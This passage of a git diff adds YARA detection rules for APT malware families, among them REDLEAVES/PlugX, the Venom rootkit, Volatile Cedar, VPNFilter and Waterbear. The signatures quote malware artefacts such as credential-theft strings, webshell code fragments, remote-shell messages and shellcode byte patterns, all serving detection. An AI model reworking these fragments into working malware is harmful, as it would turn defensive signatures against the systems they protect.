+	strings:
+		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s2 = "msictl.exe" fullword ascii
+		$s3 = "127.0.0.1:8080" fullword ascii
+		$s4 = "mshtml.dat" fullword ascii
+		$s5 = "msisvc" fullword ascii
+		$s6 = "NOKIAN95/WEB" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and 4 of them
+}
+
+rule Unit78020_Malware_Gen2 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
+		id = "9492b1f8-c2a9-5e3b-ad62-fbc3d99392b3"
+	strings:
+		$s0 = "-GetModuleFileNameExW" fullword ascii
+		$s1 = "\\MSN Talk Start.lnk" wide
+		$s2 = ":SeDebugPrivilege" fullword wide
+		$s3 = "WinMM Version 1.0" fullword wide
+		$s4 = "dwError1 = %d" fullword ascii
+		$s5 = "*Can't Get" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule Unit78020_Malware_Gen3 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+		id = "e26f386e-e98c-5005-9343-1873d2e35a1f"
+	strings:
+		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x3 = "J:\\chong\\" ascii
+
+		$s1 = "User-Agent: Netscape" fullword ascii
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
+		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
+		$s5 = "MM.exe" fullword ascii
+		$s6 = "network.proxy.ssl" fullword wide
+		$s7 = "PeekNamePipe" fullword ascii
+		$s8 = "Host: %ws:%d" fullword ascii
+		$s9 = "GET %dHTTP/1.1" fullword ascii
+		$s10 = "SCHANNEL.DLL" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) ) or 
+		4 of ($s*)
+}
diff --git a/yara-Neo23x0/apt_uscert_ta17-1117a.yar b/yara-Neo23x0/apt_uscert_ta17-1117a.yar
new file mode 100644
index 0000000..0ccc708
--- /dev/null
+++ b/yara-Neo23x0/apt_uscert_ta17-1117a.yar
@@ -0,0 +1,93 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-27
+   Identifier: US CERT TA17-117A - APT10
+   Reference: https://www.us-cert.gov/ncas/alerts/TA17-117A
+*/
+
+rule Dropper_DeploysMalwareViaSideLoading {
+    meta:
+        description = "Detects a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX"
+        author = "USG"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+        true_positive = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. "
+        id = "2e7cdedd-2358-5d71-a3ec-73dec442d840"
+    strings:
+        $UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65} // ".lnk" near "avpui.exe"
+        $PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64} // Unique function that generates a 100 character pseudo random string.
+    condition:
+        any of them
+}
+
+rule REDLEAVES_DroppedFile_ImplantLoader_Starburn {
+    meta:
+        description = "Detects the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT"
+        author = "USG"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+        true_positive = "7f8a867a8302fe58039a6db254d335ae" // StarBurn.dll
+        id = "976f42b1-58c9-554b-97e6-130a657507e2"
+    strings:
+        $XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10} // Deobfuscation loop
+    condition:
+        any of them
+}
+
+rule REDLEAVES_DroppedFile_ObfuscatedShellcodeAndRAT_handkerchief {
+    meta:
+        description = "Detects obfuscated .dat file containing shellcode and core REDLEAVES RAT"
+        author = "USG"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+        true_positive = "fb0c714cd2ebdcc6f33817abe7813c36" // handkerchief.dat
+        id = "51a28529-1084-5f24-9369-6427e8d51d9d"
+    strings:
+        $RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d} // This is 'red_autumnal_leaves_dllmain.dll' XOR'd with 0x01
+    condition:
+        any of them
+}
+
+rule REDLEAVES_CoreImplant_UniqueStrings {
+    meta:
+        description = "Strings identifying the core REDLEAVES RAT in its deobfuscated state"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+        author = "USG"
+        date = "2018-12-20"
+        modified = "2024-04-17"
+        id = "fd4d4804-f7d9-549d-8f63-5f409d6180f9"
+    strings:
+        $unique2 = "RedLeavesSCMDSimulatorMutex" nocase wide ascii
+        $unique4 = "red_autumnal_leaves_dllmain.dll" wide ascii
+        $unique7 = "\\NamePipe_MoreWindows" wide ascii
+    condition:
+        not uint32(0) == 0x66676572 // not regf (registry hives)
+        and any of them
+}
+
+rule PLUGX_RedLeaves {
+    meta:
+        author = "US-CERT Code Analysis Team"
+        date = "03.04.2017"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+        incident = "10118538"
+        date = "2017-04-03"
+        MD5_1 = "598FF82EA4FB52717ACAFB227C83D474"
+        MD5_2 = "7D10708A518B26CC8C3CBFBAA224E032"
+        MD5_3 = "AF406D35C77B1E0DF17F839E36BCE630"
+        MD5_4 = "6EB9E889B091A5647F6095DCD4DE7C83"
+        MD5_5 = "566291B277534B63EAFC938CDAAB8A399E41AF7D"
+        description = "Detects specific RedLeaves and PlugX binaries"
+        id = "ede8ad8f-31cf-5314-9777-bddd60e499f2"
+    strings:
+        $s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }
+        $s1 = "C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb"
+        $s2 = "d:\\work\\plug4.0(shellcode)"
+        $s3 = "\\shellcode\\shellcode\\XSetting.h"
+        $s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }
+        $s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }
+        $s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }
+        $s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }
+        $s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }
+        $s9 = "RedLeavesCMDSimulatorMutex"
+    condition:
+        $s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9
+}
diff --git a/yara-Neo23x0/apt_venom_linux_rootkit.yar b/yara-Neo23x0/apt_venom_linux_rootkit.yar
new file mode 100644
index 0000000..2cc9fb6
--- /dev/null
+++ b/yara-Neo23x0/apt_venom_linux_rootkit.yar
@@ -0,0 +1,32 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-10
+   Identifier: Venom Rootkit
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Venom_Rootkit {
+   meta:
+      description = "Venom Linux Rootkit"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://security.web.cern.ch/security/venom.shtml"
+      date = "2017-01-12"
+      id = "fedc6fa9-7dfb-5e54-a7bf-9a16f96d6886"
+   strings:
+      $s1 = "%%VENOM%CTRL%MODE%%" ascii fullword
+      $s2 = "%%VENOM%OK%OK%%" ascii fullword
+      $s3 = "%%VENOM%WIN%WN%%" ascii fullword
+      $s4 = "%%VENOM%AUTHENTICATE%%" ascii fullword
+      $s5 = ". entering interactive shell" ascii fullword
+      $s6 = ". processing ltun request" ascii fullword
+      $s7 = ". processing rtun request" ascii fullword
+      $s8 = ". processing get request" ascii fullword
+      $s9 = ". processing put request" ascii fullword
+      $s10 = "venom by mouzone" ascii fullword
+      $s11 = "justCANTbeSTOPPED" ascii fullword
+   condition:
+      filesize < 4000KB and 2 of them
+}
diff --git a/yara-Neo23x0/apt_volatile_cedar.yar b/yara-Neo23x0/apt_volatile_cedar.yar
new file mode 100644
index 0000000..313a388
--- /dev/null
+++ b/yara-Neo23x0/apt_volatile_cedar.yar
@@ -0,0 +1,126 @@
+rule Explosive_EXE : APT {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Check Point Software Technologies Inc."
+		id = "3a9fb6b2-2f19-5d70-81ed-a08c3b8b2d80"
+	strings:
+		$DLD_S = "DLD-S:"
+		$DLD_E = "DLD-E:"
+	condition:
+		all of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_1 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
+		id = "dcf28185-75a8-5c9f-9f60-edb8dc187e16"
+	strings:
+		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
+		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
+		$s11 = "IE:Password-Protected sites" fullword ascii
+		$s12 = "\\his.sys" ascii
+		$s13 = "HTTP Password" fullword ascii
+		$s14 = "\\data.sys" ascii
+		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
+		$s17 = "Office Outlook HTTP" fullword ascii
+		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii
+	condition:
+		all of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_2 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
+		id = "8be7ed50-0bfc-5302-b4fa-8817bf1750d7"
+	strings:
+		$s0 = "serverhelp.dll" fullword wide
+		$s1 = "Windows Help DLL" fullword wide
+		$s5 = "SetWinHoK" fullword ascii
+	condition:
+		all of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Generic_1 {
+	meta:
+		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/04/03"
+		score = 70
+		super_rule = 1
+		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
+		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
+		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
+		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
+		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
+		id = "dc3721b6-c19e-5449-9962-2a6f844e49b4"
+	strings:
+		$s0 = "autorun.exe" fullword
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
+		$s2 = "%drp.exe" fullword
+		$s3 = "%s_%s%d.exe" fullword
+		$s4 = "open=autorun.exe" fullword
+		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
+		$s10 = "error.renamefile" fullword
+		$s12 = "insufficient lookahead" fullword
+		$s13 = "%s %s|" fullword
+		$s16 = ":\\autorun.exe" fullword
+	condition:
+		7 of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosive_UA {
+	meta:
+		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/HQRCdw"
+		date = "2015/04/03"
+		score = 60
+		id = "d88d5fd6-adf9-5ced-8b79-e47e3ffbde50"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword
+	condition:
+		$x1 and
+        uint16(0) == 0x5A4D
+}
+
+rule Webshell_Caterpillar_ASPX {
+	meta:
+		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/emons5"
+		date = "2015/04/03"
+		super_rule = 1
+		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
+		id = "9af48c64-3768-5765-8245-38df000598a7"
+	strings:
+		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
+		$s1 = "command = \"ipconfig /all\"" fullword
+		$s3 = "For Each xfile In mydir.GetFiles()" fullword
+		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
+		$s12 = "b = Request.QueryString(\"src\")" fullword
+		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_vpnfilter.yar b/yara-Neo23x0/apt_vpnfilter.yar
new file mode 100644
index 0000000..1cf95e3
--- /dev/null
+++ b/yara-Neo23x0/apt_vpnfilter.yar
@@ -0,0 +1,95 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-05-24
+   Identifier: VPNFilter
+   Reference: https://blog.talosintelligence.com/2018/05/VPNFilter.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MAL_ELF_VPNFilter_1 {
+   meta:
+      description = "Detects VPNFilter malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-24"
+      hash1 = "f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344"
+      id = "dc50cb37-a6e7-5eb5-9581-31d7fd005e47"
+   strings:
+      $s1 = "Login=" fullword ascii
+      $s2 = "Password=" fullword ascii
+      $s3 = "%s/rep_%u.bin" fullword ascii
+      $s4 = "%s:%uh->%s:%hu" fullword ascii
+      $s5 = "Password required" fullword ascii /* Goodware String - occured 1 times */
+      $s6 = "password=" fullword ascii /* Goodware String - occured 2 times */
+      $s7 = "Authorization: Basic" fullword ascii /* Goodware String - occured 2 times */
+      $s8 = "/tmUnblock.cgi" fullword ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 100KB and all of them
+}
+
+rule MAL_ELF_VPNFilter_2 {
+   meta:
+      description = "Detects VPNFilter malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-24"
+      hash1 = "50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec"
+      id = "95356303-e8ba-585d-b2fc-af9e10b0b93f"
+   strings:
+      $s1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)" fullword ascii
+      $s2 = "passwordPASSWORDpassword" fullword ascii
+      $s3 = "/tmp/client.key" fullword ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 1000KB and all of them
+}
+
+rule MAL_ELF_VPNFilter_3 {
+   meta:
+      description = "Detects VPNFilter malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-24"
+      hash1 = "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92"
+      hash2 = "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17"
+      hash3 = "37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4"
+      hash4 = "0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b"
+      hash5 = "4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b"
+      hash6 = "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1"
+      hash7 = "776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d"
+      id = "020603bf-fbce-5de1-82b9-5a2dfacfada3"
+   strings:
+      $sx1 = "User-Agent: Mozilla/6.1 (compatible; MSIE 9.0; Windows NT 5.3; Trident/5.0)" fullword ascii
+      $sx2 = "Execute by shell[%d]:" fullword ascii
+      $sx3 = "CONFIG.TOR.name:" fullword ascii
+
+      $s1 = "Executing command:  %s %s..." fullword ascii
+      $s2 = "/proc/%d/cmdline" fullword ascii
+
+      $a1 = "Mozilla/5.0 Firefox/50.0" fullword ascii
+      $a2 = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
+      $a3 = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 1000KB and ( 1 of ($sx*) or 2 of ($s*) or 2 of ($a*) )
+}
+
+rule SUSP_ELF_Tor_Client {
+   meta:
+      description = "Detects VPNFilter malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-24"
+      hash1 = "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719"
+      id = "1be6528d-1b60-50da-8125-2ef73b8aeb4f"
+   strings:
+      $x1 = "We needed to load a secret key from %s, but it was encrypted. Try 'tor --keygen' instead, so you can enter the passphrase." fullword ascii
+      $x2 = "Received a VERSION cell with odd payload length %d; closing connection." fullword ascii
+      $x3 = "Please upgrade! This version of Tor (%s) is %s, according to the directory authorities. Recommended versions are: %s" fullword ascii
+   condition:
+      uint16(0) == 0x457f and 1 of them
+}
diff --git a/yara-Neo23x0/apt_waterbear.yar b/yara-Neo23x0/apt_waterbear.yar
new file mode 100644
index 0000000..2cd729b
--- /dev/null
+++ b/yara-Neo23x0/apt_waterbear.yar
@@ -0,0 +1,261 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-23
+   Identifier: Waterbear
+   Reference: https://goo.gl/L9g9eR
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Waterbear_1_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5"
+      id = "2202506a-6009-5321-a8b2-df3bff51d06f"
+   strings:
+      $s1 = "\\Release\\svc.pdb" ascii
+      $s2 = "svc.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule Waterbear_2_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "dcb5c350af76c590002a8ea00b01d862b4d89cccbec3908bfe92fdf25eaa6ea4"
+      id = "d3178f01-90a8-5a82-9c95-40bf8e9b567f"
+   strings:
+      $s1 = "downloading movie" fullword ascii
+      $s2 = "name=\"test.exe\"/>" fullword ascii
+      $s3 = "<description>Test Application</description>" fullword ascii
+      $s4 = "UI look 2003" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule Waterbear_4_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "2e9cb7cadb3478edc9ef714ca4ddebb45e99d35386480e12792950f8a7a766e1"
+      id = "c7941f92-12ee-5d57-b58e-c8caf74ca6ba"
+   strings:
+      $x1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" fullword ascii
+
+      $s1 = "Wininet.dll InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA InternetReadFile InternetCloseHandle" fullword ascii
+      $s2 = "read from pipe:%s" fullword ascii
+      $s3 = "delete pipe" fullword ascii
+      $s4 = "cmdcommand:%s" fullword ascii
+      $s5 = "%s /c del %s" fullword ascii
+      $s6 = "10.0.0.250" fullword ascii
+      $s7 = "Vista/2008" fullword ascii
+      $s8 = "%02X%02X%02X%02X%02X%02X%04X" fullword ascii
+      $s9 = "UNKOWN" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
+}
+
+rule Waterbear_5_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      modified = "2023-01-07"
+      hash1 = "d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d"
+      id = "f92fe6d5-0afa-50a1-bdcf-c6dd78aa6809"
+   strings:
+      $a1 = "ICESWORD" fullword ascii
+      $a2 = "klog.dat" fullword ascii
+
+      $s1 = "\\cswbse.dll" ascii
+      $s2 = "WIRESHARK" fullword ascii
+      $s3 = "default_zz|" fullword ascii
+      $s4 = "%c4%u-%.2u-%.2u %.2u:%.2u" fullword ascii
+      $s5 = "1111%c%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x3d53 and filesize < 100KB and ( all of ($a*) or 3 of them ) )
+}
+
+rule Waterbear_6_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230"
+      id = "86d203be-2d3a-54f2-b851-9080d5be36f5"
+   strings:
+      $s1 = "svcdll.dll" fullword ascii
+      $s2 = "log.log" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
+}
+
+rule Waterbear_7_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134"
+      id = "4613df5b-495e-5738-9b7f-ac8ff586cd17"
+   strings:
+      $s1 = "Bluthmon.exe" fullword wide
+      $s2 = "Motomon.exe" fullword wide
+      $s3 = "%d.%s%d%d%d" fullword ascii
+      $s4 = "mywishes.hlp" fullword ascii
+      $s5 = "filemon.rtf" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule Waterbear_8_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      modified = "2023-01-07"
+      hash1 = "bd06f6117a0abf1442826179f6f5e1932047b4a6c14add9149e8288ab4a902c3"
+      hash1 = "5dba8ddf05cb204ef320a72a0c031e55285202570d7883f2ff65135ec35b3dd0"
+      id = "5ebeda22-ad67-5715-b42f-9b4bb5dcde94"
+   strings:
+      $s1 = "Update.dll" fullword ascii
+      $s2 = "ADVPACK32.DLL" fullword wide
+      $s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\" ascii
+      $s4 = "\\drivers\\sftst.sys" ascii
+      $s5 = "\\\\.\\SFilter" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 40KB and all of them )
+}
+
+rule Waterbear_9_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "fc74d2434d48b316c9368d3f90fea19d76a20c09847421d1469268a32f59664c"
+      id = "727cdb55-ede5-5520-9aa9-5a265b5aeba1"
+   strings:
+      $s1 = "ADVPACK32.DLL" fullword wide
+      $s2 = "ADVPACK32" fullword wide
+
+      $a1 = "U2_Dll.dll" fullword ascii
+
+      $b1 = "ProUpdate" fullword ascii
+      $b2 = "Update.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 30KB and all of ($s*) and ( $a1 or all of ($b*) )
+}
+
+rule Waterbear_10_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41"
+      id = "1219c3e6-1001-5075-b7fc-e0d8a7de6a65"
+   strings:
+      $s1 = "ADVPACK32.DLL" fullword wide
+      $s5 = "ADVPACK32" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and all of them )
+}
+
+
+rule Waterbear_11_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8"
+      id = "d7eb7561-c84e-5149-920c-35ad225ca8a9"
+   strings:
+      $s1 = "/Pages/%u.asp" fullword wide
+      $s2 = "NVIDIA Corporation." fullword wide
+      $s3 = "tqxbLc|fP_{eOY{eOX{eO" fullword ascii
+      $s4 = "Copyright (C) 2005" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule Waterbear_12_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "15d9db2c90f56cd02be38e7088db8ec00fc603508ec888b4b85d60d970966585"
+      id = "cc0a071c-c409-57a2-80c5-dd93ca7db339"
+   strings:
+      $s1 = "O_PROXY" fullword ascii
+      $s2 = "XMODIFY" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule Waterbear_13_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
